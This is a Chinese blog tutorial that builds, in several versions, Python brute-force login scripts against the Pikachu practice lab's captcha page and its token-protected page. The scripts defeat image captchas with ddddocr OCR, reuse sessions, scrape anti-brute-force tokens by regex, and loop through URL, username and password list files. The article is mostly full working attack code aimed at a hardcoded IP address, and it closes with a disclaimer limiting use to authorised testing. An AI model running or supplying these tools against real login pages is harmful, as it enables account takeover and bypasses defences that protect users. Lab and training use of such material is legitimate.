python开发web暴力破解工具(进阶篇 包含验证码识别和token的处理)

在看这篇文章之前 先得看一下前面的基础篇

bf_server验证码识别

现在在暴力破解的时候出现了验证码又该如何去完成暴力破解呢?

抓包看请求包中多了个vcode参数就是验证码的内容

浏览器访问bf_sever并进行登陆会有三个包

第一个包发送get请求访问资源

第一个包访问/inc/showvcode.php 获取图片验证码

第三个包是post请求携带用户名密码验证吗等信息进行验证

在这些流程执行完之后还有个验证码刷新的包 也就是序号116

理解清楚登陆过程之后我们是可以用python模拟这个流程的

但是此时还有个问题

如何实现验证码的识别?可以用ddddocr这个模块来进行验证码的识别

1.0版本

python 复制代码
import requests
import ddddocr
ocr = ddddocr.DdddOcr()

def bf_form(url,user,password):
    url = url
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36',
        'Content-Type':'application/x-www-form-urlencoded'
    }



    res = requests.get(url, headers=headers)

    imageurl = "http://101.37.37.60:8082/inc/showvcode.php"
    resp = requests.get(imageurl, headers=headers)
    pic = get_tp(resp.content)

    data = {
        'username': user,
        'password': password,
        'vcode':pic,
        'submit': 'Login'
    }


    response = requests.post(url, headers=headers, data=data)
    if 'success' in response.text:
        print("[+] login success,username is:%s,password is:%s"%(user,password))
    else:
        print("[-] login fail")


def get_tp(image):

    result = ocr.classification(image)
    print("验证码结果: "+result)
    return result





if __name__ == '__main__':
    url = 'http://101.37.37.60:8082/vul/burteforce/bf_server.php'
    user = 'admin'
    password = '123456'
    bf_form(url,user,password)

真就奇了怪了啊

为啥就提示验证码错误呢?明明对着了啊

难道是得用session???

改成session 再试一试!!!!

python 复制代码
import requests
import ddddocr
ocr = ddddocr.DdddOcr()

def bf_form(url,user,password):
    session = requests.Session()
    url = url
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36',
        'Content-Type':'application/x-www-form-urlencoded'
    }



    res = session.get(url, headers=headers)

    imageurl = "http://101.37.37.60:8082/inc/showvcode.php"
    resp = session.get(imageurl,headers=headers)
    pic = get_tp(resp.content)

    data = {
        'username': user,
        'password': password,
        'vcode':pic,
        'submit': 'Login'
    }


    response = session.post(url, data=data,headers=headers)
    if 'success' in response.text:
        print("[+] login success,username is:%s,password is:%s"%(user,password))
    else:
        print("[-] login fail")


def get_tp(image):

    result = ocr.classification(image)
    print("验证码结果: "+result)
    return result





if __name__ == '__main__':
    url = 'http://101.37.37.60:8082/vul/burteforce/bf_server.php'
    user = 'admin'
    password = '123456'
    bf_form(url,user,password)

果然是这样

看来 对于这种连续进行的请求包 就得用session的方法来进行请求 session的请求包会复用tcp连接 请求包最直观看到的就是cookie的复用。

2.0版本

ddddocr对于验证码的识别还是有识别错误的情况的

这就需要我们进行一些处理来增加代码的健壮性

python 复制代码
import requests
import ddddocr
ocr = ddddocr.DdddOcr()

def bf_form(url,user,password):
    session = requests.Session()
    url = url
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36',
        'Content-Type':'application/x-www-form-urlencoded'
    }



    res = session.get(url, headers=headers)

    #识别验证码
    imageurl = "http://101.37.37.60:8082/inc/showvcode.php"
    resp = session.get(imageurl,headers=headers)
    pic = get_tp(resp.content)

    data = {
        'username': user,
        'password': password,
        'vcode':pic,
        'submit': 'Login'
    }


    #发起暴力破解请求
    response = session.post(url, data=data,headers=headers)
    if 'success' in response.text:
        print("[+] login success,username is:%s,password is:%s"%(user,password))
    elif '验证码输入错误' in response.text:
        bf_form(url,user,password)
    else:
        print("[-] login fail")


def get_tp(image):

    result = ocr.classification(image)
    print("验证码结果: "+result)
    return result





if __name__ == '__main__':
    url = 'http://101.37.37.60:8082/vul/burteforce/bf_server.php'
    user = 'admin'
    password = '123456'
    bf_form(url,user,password)

比如这次是识别率好几次才识别到了正确的验证码

3.0版本

参考之前bf_form没有验证码的情况 改造一下2.0版本的 实现 账号密码本读取用户名密码 ur来自url_list文件 并且还有有访问异常的处理。

python 复制代码
import time

import requests
import ddddocr

ocr = ddddocr.DdddOcr()

def bf_form(url,user,password):
    session = requests.Session()
    url = url
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36',
        'Content-Type':'application/x-www-form-urlencoded'
    }


    try:
        res = session.get(url, headers=headers)
    except requests.exceptions.RequestException as e:
        print("当前url访问异常!!!")
        return False

    #识别验证码
    imageurl = "http://101.37.37.60:8082/inc/showvcode.php"
    resp = session.get(imageurl,headers=headers)
    pic = get_tp(resp.content)

    data = {
        'username': user,
        'password': password,
        'vcode':pic,
        'submit': 'Login'
    }


    #发起暴力破解请求
    try:
        response = session.post(url, data=data,headers=headers)
        if 'success' in response.text:
            print("[+] login success,username is:%s,password is:%s"%(user,password))
        elif '验证码输入错误' in response.text:
            bf_form(url,user,password)
        else:
            print("[-] login fail")
        return True
    except requests.exceptions.RequestException as e:
        pass
    finally:
        #count = count + 1
        pass


def get_tp(image):

    result = ocr.classification(image)
    print("验证码结果: "+result)
    return result

def bf_form_readfiles():
    #读取url文件
    with open('bf_server_url_list.txt','r') as f:
        urls = [line.strip() for line in f]
    # 读取用户名文件
    with open('username_list.txt', 'r', encoding='utf-8') as f:
            usernames = [line.strip() for line in f]

    # 读取密码文件
    with open('password_list.txt', 'r', encoding='utf-8') as f:
            passwords = [line.strip() for line in f]

    for url in urls:
        print("-----------------------------------------------------------------------------------")
        print("当前尝试的url为:%s" % url)
        url_failed = False  # 标记当前url是否请求失败
        for username in usernames:
            if url_failed:        #如果当前url访问失败则跳过循环
                break
            for password in passwords:
                url_success = bf_form(url,username,password)
                if not url_success:      # 如果请求失败,标记并跳出循环
                    url_failed = True
                    break



if __name__ == '__main__':
    start = time.time()
    bf_form_readfiles()
    end = time.time()
    print("程序完成时间:%ss" % (end - start))

但是不知道为啥url访问不到时还是一直发包

调试了下

响应包是502啊 但是为啥就是到这个return True啊

之前bf_form3.0的调试下看下啥情况啊

之前的bf_form3.0也出现这种情况

破案了 是因为开了代理 为了更清晰地调试代码我开了个代理把python.exe的数据包转到了burp 就是这个代理导致的

不开代理情况下是不会有502响应包的 直接会产生connection error的异常 进而去执行except的命令

关了代理试一下:

ok了

bf_token

bf_token模块虽然没有验证码 但是有防爆破的token

这应该如何操作呢?

其实和bf_sever差不多 因为当前post请求的token值是来自于上一个get请求的响应包

如何获取到响应包的token值呢?

可以用正则表达式匹配啊

1.0版本

python 复制代码
import requests
import re

def bf_form(url,user,password):
    session = requests.Session()
    url = url
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36',
        'Content-Type':'application/x-www-form-urlencoded'
    }



    res = session.get(url, headers=headers)
    token = re.search(r'token" value="([\w\W]+?)"', res.text)
    if token:
        print("token: " + token.group(1))


    data = {
        'username': user,
        'password': password,
        'token':token.group(1),
        'submit': 'Login'
    }


    response = session.post(url, data=data,headers=headers)
    if 'success' in response.text:
        print("[+] login success,username is:%s,password is:%s"%(user,password))
    else:
        print("[-] login fail")







if __name__ == '__main__':
    url = 'http://101.37.37.60:8082/vul/burteforce/bf_token.php'
    user = 'admin'
    password = '123456'
    bf_form(url,user,password)

2.0版本

2.0版本代码无需多言 自然就是 访问异常处理+文件读取url 账号 密码啦

代码如下

tips:测试时记得关代理

python 复制代码
import time

import requests
import re

def bf_form(url,user,password):
    session = requests.Session()
    url = url
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36',
        'Content-Type':'application/x-www-form-urlencoded'
    }


    try:
        res = session.get(url, headers=headers)
        token = re.search(r'token" value="([\w\W]+?)"', res.text)
    except requests.exceptions.RequestException as e:
        print("当前url访问异常!!!")
        return False
    if token:
        print("token: " + token.group(1))


    data = {
        'username': user,
        'password': password,
        'token':token.group(1),
        'submit': 'Login'
    }

    try:
        response = session.post(url, data=data,headers=headers)
        if 'success' in response.text:
            print("[+] login success,username is:%s,password is:%s"%(user,password))
        else:
            print("[-] login fail")
        return True
    except requests.exceptions.RequestException as e:
        pass


def bf_form_readfiles():
    #读取url文件
    with open('bf_token_url_list.txt','r') as f:
        urls = [line.strip() for line in f]
    # 读取用户名文件
    with open('username_list.txt', 'r', encoding='utf-8') as f:
        usernames = [line.strip() for line in f]

    # 读取密码文件
    with open('password_list.txt', 'r', encoding='utf-8') as f:
        passwords = [line.strip() for line in f]

    for url in urls:
        print("-----------------------------------------------------------------------------------")
        print("当前尝试的url为:%s" % url)
        url_failed = False  # 标记当前url是否请求失败
        for username in usernames:
            if url_failed:        #如果当前url访问失败则跳过循环
                break
            for password in passwords:
                url_success = bf_form(url,username,password)
                if not url_success:      # 如果请求失败,标记并跳出循环
                    url_failed = True
                    break




if __name__ == '__main__':
    start = time.time()
    bf_form_readfiles()
    end = time.time()
    print("程序完成时间:%ss" % (end - start))

执行结果如下:

【重要声明】

本文及所附代码仅用于安全技术学习、学术研究及授权测试环境,旨在帮助开发者理解网络安全原理、并发编程及异常处理机制。严禁将其用于任何未经授权的非法攻击、入侵或破坏活动。任何滥用本文技术造成的直接或间接后果,均由使用者自行承担全部法律责任。请务必遵守《网络安全法》及相关法律法规,坚守技术伦理。

相关推荐
长安牧笛2 小时前
职业技能学习路径规划工具,用户输入目标岗位,如AI工程师,结合现有技能水平,推荐分阶段学习资源(课程/书籍/项目),设置学习进度提醒。
python
零K沁雪2 小时前
multipart-parser-c 使用方式
c语言·开发语言
长安牧笛2 小时前
智能衣柜—穿搭助手,内置温湿度传感器,潮湿天气启动除湿功能,防止衣服发霉,APP还能记录衣服穿着频率,推荐久没穿的衣服,避免穿搭重复。
python
free-elcmacom2 小时前
机器学习高阶教程<8>分布式训练三大核心策略拆解
人工智能·分布式·python·机器学习
魔镜前的帅比2 小时前
多工具组合执行链详解
python·ai
chilavert3182 小时前
技术演进中的开发沉思-260 Ajax:核心动画
开发语言·javascript·ajax
云中飞鸿2 小时前
为什么有out参数存在?
开发语言·c#
飞天遇见妞2 小时前
C/C++中宏定义的使用
c语言·开发语言·c++